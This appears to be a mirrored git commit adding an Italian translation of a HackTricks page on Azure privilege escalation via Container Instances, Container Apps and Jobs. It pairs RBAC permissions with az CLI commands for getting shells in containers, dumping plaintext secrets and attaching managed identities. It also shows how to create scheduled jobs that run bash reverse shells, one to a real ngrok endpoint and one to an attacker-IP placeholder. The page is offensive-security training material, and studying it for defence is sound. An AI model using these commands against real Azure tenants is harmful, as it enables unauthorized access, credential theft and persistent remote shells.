mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
@@ -0,0 +1,177 @@
|
||||
# Az - Azure Container Instances, Apps & Jobs Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Container Instances, Apps & Jobs
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-container-instances-apps-jobs.md
|
||||
{{#endref}}
|
||||
|
||||
## ACI
|
||||
|
||||
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
|
||||
|
||||
Questi permessi consentono all'utente di **eseguire un comando** in un container in esecuzione. Questo può essere utilizzato per **escalare i privilegi** nel container se ha un'identità gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del container.
|
||||
|
||||
Ottenere una shell è semplice come:
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
È anche possibile **leggere l'output** del container con:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
Oppure ottieni i log con:
|
||||
```bash
|
||||
az container logs --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Queste autorizzazioni consentono di **allegare un'identità gestita dall'utente** a un gruppo di contenitori. Questo è molto utile per elevare i privilegi nel contenitore.
|
||||
|
||||
Per allegare un'identità gestita dall'utente a un gruppo di contenitori:
|
||||
```bash
|
||||
az rest \
|
||||
--method PATCH \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
|
||||
--body '{
|
||||
"identity": {
|
||||
"type": "UserAssigned",
|
||||
"userAssignedIdentities": {
|
||||
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
|
||||
}
|
||||
}
|
||||
}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Queste autorizzazioni consentono di **creare o aggiornare un gruppo di contenitori** con un **'identità gestita dall'utente'** ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
|
||||
```bash
|
||||
az container create \
|
||||
--resource-group <res-group> \
|
||||
--name nginx2 \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
|
||||
--restart-policy OnFailure \
|
||||
--os-type Linux \
|
||||
--cpu 1 \
|
||||
--memory 1.0
|
||||
```
|
||||
Inoltre, è possibile aggiornare un gruppo di contenitori esistente aggiungendo ad esempio l'argomento **`--command-line`** con una reverse shell.
|
||||
|
||||
## ACA
|
||||
|
||||
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
|
||||
|
||||
Queste autorizzazioni consentono all'utente di **ottenere una shell** in un contenitore di applicazione in esecuzione. Questo può essere utilizzato per **escalare privilegi** nel contenitore se ha un'identità gestita associata. Ovviamente, è anche possibile accedere al codice sorgente e a qualsiasi altra informazione sensibile memorizzata all'interno del contenitore.
|
||||
```bash
|
||||
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
|
||||
az containerapp debug --name <app-name> --resource-group <res-group>
|
||||
|
||||
```
|
||||
### `Microsoft.App/containerApps/listSecrets/action`
|
||||
|
||||
Questo permesso consente di ottenere il **testo in chiaro dei segreti** configurati all'interno di un'app container. Si noti che i segreti possono essere configurati con il testo in chiaro o con un link a un key vault (in tal caso l'app avrà assegnata un'identità gestita con accesso sui segreti).
|
||||
```bash
|
||||
az containerapp secret list --name <app-name> --resource-group <res-group>
|
||||
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Queste autorizzazioni consentono di **collegare un'identità gestita dall'utente** a un'app container. Questo è molto utile per elevare i privilegi nel container. Eseguire questa azione dalla az cli richiede anche l'autorizzazione `Microsoft.App/containerApps/listSecrets/action`.
|
||||
|
||||
Per collegare un'identità gestita dall'utente a un gruppo di container:
|
||||
```bash
|
||||
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
|
||||
```
|
||||
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
|
||||
|
||||
Queste autorizzazioni consentono di **creare o aggiornare un contenitore di applicazione** con un **identità gestita dall'utente** ad esso associata. Questo è molto utile per elevare i privilegi nel contenitore.
|
||||
```bash
|
||||
# Get environments
|
||||
az containerapp env list --resource-group Resource_Group_1
|
||||
|
||||
# Create app in a an environment
|
||||
az containerapp create \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--cpu 1 --memory 1.0 \
|
||||
--user-assigned <user-asigned-identity-name> \
|
||||
--min-replicas 1 \
|
||||
--command "<reserse shell>"
|
||||
```
|
||||
> [!TIP]
|
||||
> Nota che con queste autorizzazioni **altri configurazioni dell'app** possono essere modificate, il che potrebbe consentire di eseguire altri attacchi di privesc e post exploitation a seconda della configurazione delle app esistenti.
|
||||
|
||||
## Jobs
|
||||
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
|
||||
|
||||
Sebbene i job non siano a lungo termine come le app container, puoi sfruttare la possibilità di sovrascrivere la configurazione del comando del job all'avvio di un'esecuzione. Creando un modello di job personalizzato (ad esempio, sostituendo il comando predefinito con una reverse shell), puoi ottenere accesso alla shell all'interno del container che esegue il job.
|
||||
```bash
|
||||
# Retrieve the current job configuration and save its template:
|
||||
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
|
||||
|
||||
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
|
||||
# For example, change the container’s command to:
|
||||
# - args:
|
||||
# - -c
|
||||
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
|
||||
# command:
|
||||
# - /bin/bash
|
||||
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
|
||||
|
||||
# Update and wait until the job is triggered (or change ths type to scheduled)
|
||||
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
|
||||
|
||||
# Start a new job execution with the modified template:
|
||||
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
|
||||
```
|
||||
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
|
||||
|
||||
Se hai questi permessi, puoi elencare tutti i segreti (primo permesso) all'interno di un contenitore Job e poi leggere i valori dei segreti configurati.
|
||||
```bash
|
||||
az containerapp job secret list --name <job-name> --resource-group <res-group>
|
||||
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
|
||||
```
|
||||
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
|
||||
|
||||
Se hai il permesso di modificare la configurazione di un lavoro, puoi allegare un'identità gestita assegnata dall'utente. Questa identità potrebbe avere privilegi aggiuntivi (ad esempio, accesso ad altre risorse o segreti) che possono essere sfruttati per elevare i privilegi all'interno del contenitore.
|
||||
```bash
|
||||
az containerapp job update \
|
||||
--name <job-name> \
|
||||
--resource-group <res-group> \
|
||||
--assign-identity <user-assigned-identity-id>
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Se puoi creare un nuovo Container Apps Job (o aggiornare uno esistente) e allegare un'identità gestita, puoi progettare il lavoro per eseguire un payload che esegue l'escalation dei privilegi. Ad esempio, potresti creare un nuovo lavoro che non solo esegue una reverse shell ma utilizza anche le credenziali dell'identità gestita per richiedere token o accedere ad altre risorse.
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
--resource-group <res-group> \
|
||||
--environment <environment-name> \
|
||||
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
|
||||
--user-assigned <user-assigned-identity-id> \
|
||||
--trigger-type Schedule \
|
||||
--cron-expression "*/1 * * * *" \
|
||||
--replica-timeout 1800 \
|
||||
--replica-retry-limit 0 \
|
||||
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
|
||||
```
|
||||
> [!TIP]
|
||||
> Questo comando genererà un errore se non hai il permesso `Microsoft.App/jobs/read`, anche se il Job verrà creato.
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
Sembra che con questi permessi dovrebbe essere possibile avviare un job. Questo potrebbe essere utilizzato per avviare un job con una reverse shell o qualsiasi altro comando malevolo senza dover modificare la configurazione del job.
|
||||
|
||||
Non sono riuscito a farlo funzionare, ma secondo i parametri consentiti dovrebbe essere possibile.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user